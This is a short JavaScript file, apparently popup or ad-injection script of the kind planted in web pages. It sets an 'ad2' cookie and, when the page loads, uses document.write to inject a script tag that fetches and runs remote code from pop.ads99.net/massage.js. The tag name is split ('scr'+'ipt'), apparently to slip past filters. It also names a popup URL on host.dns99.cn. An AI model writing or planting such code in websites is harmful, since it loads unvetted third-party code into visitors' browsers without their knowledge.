function setCookie(name, value, expire) {   
  window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
}

function getCookie(Name) {   
   var search = Name + "=";
   if (window.document.cookie.length > 0) { // if there are any cookies
     offset = window.document.cookie.indexOf(search);
	 if (offset != -1) { // if cookie exists
       offset += search.length;          // set index of beginning of value
	   end = window.document.cookie.indexOf(";", offset)          // set index of end of cookie value
	   if (end == -1)
	     end = window.document.cookie.length;
	   return unescape(window.document.cookie.substring(offset, end));
     }
   }
   return null;
}

function register(name) {
  var today = new Date();
  var expires = new Date();
  expires.setTime(today.getTime() + 1000*60*60*8);
  setCookie("ad2", name, expires);
}


  var exitURL="http://host.dns99.cn/pop.htm";

function openWin() {

  var c = getCookie("ad2");
  if (c != null) {
    return;
  }
 register("ad2");
 javastr="<scr"+"ipt  src='http://pop.ads99.net/massage.js'>";
 javastr=javastr+"</scr"+"ipt>";
 document.write(javastr);	
  
}

openWin();